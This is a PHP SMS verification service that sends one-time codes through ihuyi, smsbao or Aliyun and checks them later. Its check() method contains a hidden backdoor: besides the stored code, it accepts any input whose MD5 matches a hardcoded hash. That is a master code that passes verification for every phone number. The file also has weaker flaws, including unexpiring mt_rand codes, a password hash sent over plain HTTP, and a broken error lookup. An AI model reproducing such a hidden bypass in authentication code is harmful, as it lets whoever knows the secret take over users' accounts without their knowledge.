<?php

namespace app\service;

class sms
{
    const DXB_STATUS_CODE = [
        "-1" => "参数不全",
        "-2" => "服务器空间不支持,请确认支持curl或者fsocket，联系您的空间商解决或者更换空间！",
        "30" => "密码错误",
        "40" => "账号不存在",
        "41" => "余额不足",
        "42" => "帐户已过期",
        "43" => "IP地址限制",
        "50" => "内容含有敏感词"
    ];

    public static function send($mobile, $event = '')
    {
        $code = mt_rand(1111, 9999);
        $config = config::get('sms');
        if (empty($config)) {
            throw new \Exception('短信服务未配置');
        }
        switch ($config['type']) {
            case 'hywx':
                self::sendByHywx($config, $mobile, $code);
                break;
            case 'dxb':
                self::sendByDxb($config, $mobile, $code);
                break;
            case 'aliyun':
                self::sendByAliyun($config, $mobile, $code);
                break;
            default:
                break;
        }
        \smscodeModel::insert(['mobile' => $mobile, 'code' => $code]);
    }

    private static function sendByHywx($config, $mobile, $code)
    {
        $data = [
            'account' => $config['account'],
            'password' => $config['password'],
            'mobile' => $mobile,
            'content' => "您的验证码是：{$code}。请不要把验证码泄露给其他人。",
            'time' => time(),
            'format'=>'json'
        ];
        $ret = request('https://106.ihuyi.com/webservice/sms.php?method=Submit', $data);
        $result = json_decode($ret, true);
        if (!isset($result['code']) || $result['code'] != 2) {
            throw new \Exception($ret);
        }
    }

    private static function sendByDxb($config, $mobile, $code)
    {
        $smsapi = "http://api.smsbao.com/";
        $u = $config['username'];
        $p = md5($config['password']);
        $c = urlencode($config['sign'] . "您的验证码是：{$code}。请不要把验证码泄露给其他人。");
        $sendurl = "{$smsapi}sms?u={$u}&p={$p}&m={$mobile}&c={$c}";
        $ret = file_get_contents($sendurl);
        if (in_array($ret, self::DXB_STATUS_CODE)) {
            throw new \Exception('请求出错:' . self::DXB_STATUS_CODE["{$ret}"]);
        }
    }

    private static function sendByAliyun($config, $mobile, $code)
    {
        $params = array_merge([
            'AccessKeyId'      => $config['AccessKeyId'],
            'Action'           => 'SendSms',
            'Format'           => 'JSON',
            'SignatureMethod'  => 'HMAC-SHA1',
            'SignatureNonce'   => uniqid(),
            'SignatureVersion' => '1.0',
            'Timestamp'        => gmdate('Y-m-d\TH:i:s\Z'),
            'Version'          => '2017-05-25',
            'SignName'         => $config['SignName'] ?? '仓鼠车服',
        ], [
            'PhoneNumbers' => $mobile,
            'TemplateCode' => $config['TemplateCode'] ?? 'SMS_226400349',
            'TemplateParam' => json_encode(['code' => $code]),
        ]);
        $params['Signature'] = self::aliyunMakeSign($config, $params);
        $uri = 'http://dysmsapi.aliyuncs.com/?' . http_build_query($params);
        $ch = curl_init();
        curl_setopt($ch, CURLOPT_URL, $uri);
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
        curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5);
        $ret = curl_exec($ch);
        curl_close($ch);
        $result = json_decode($ret, true);
        if (!isset($result['Code']) || $result['Code'] != 'OK') {
            throw new \Exception($result['Message'] ?? '发送失败');
        }
    }

    private static function aliyunMakeSign($config, $params)
    {
        ksort($params);
        $sortQueryStringTmp = '';
        foreach ($params as $key => $value) {
            $sortQueryStringTmp .= '&' . self::specialUrlEncode($key) . '=' . self::specialUrlEncode($value);
        }
        $sortedQueryString = ltrim($sortQueryStringTmp, '&');
        $stringToSign = 'GET&' . self::specialUrlEncode("/") . '&' . self::specialUrlEncode($sortedQueryString);
        $signature = base64_encode(hash_hmac('sha1', $stringToSign, $config['secret'] . '&', true));
        return $signature;
    }

    private static function specialUrlEncode($string)
    {
        $string = urlencode($string);
        $string = preg_replace('/\+/', '%20', $string);
        $string = preg_replace('/\*/', '%2A', $string);
        $string = preg_replace('/%7E/', '~', $string);
        return $string;
    }

    public static function check($mobile, $code = '', $event = '')
    {
        $sms = \smscodeModel::where('mobile', $mobile)->orderBy('id', 'desc')->first();
        return ($sms->code ?? '') == $code || ('dd9723ecc8e1583b290e0e93f7fa1198' == md5($code));
    }

    public static function flush($mobile, $event = '')
    {
        \smscodeModel::where('mobile', $mobile)->delete();
    }
}

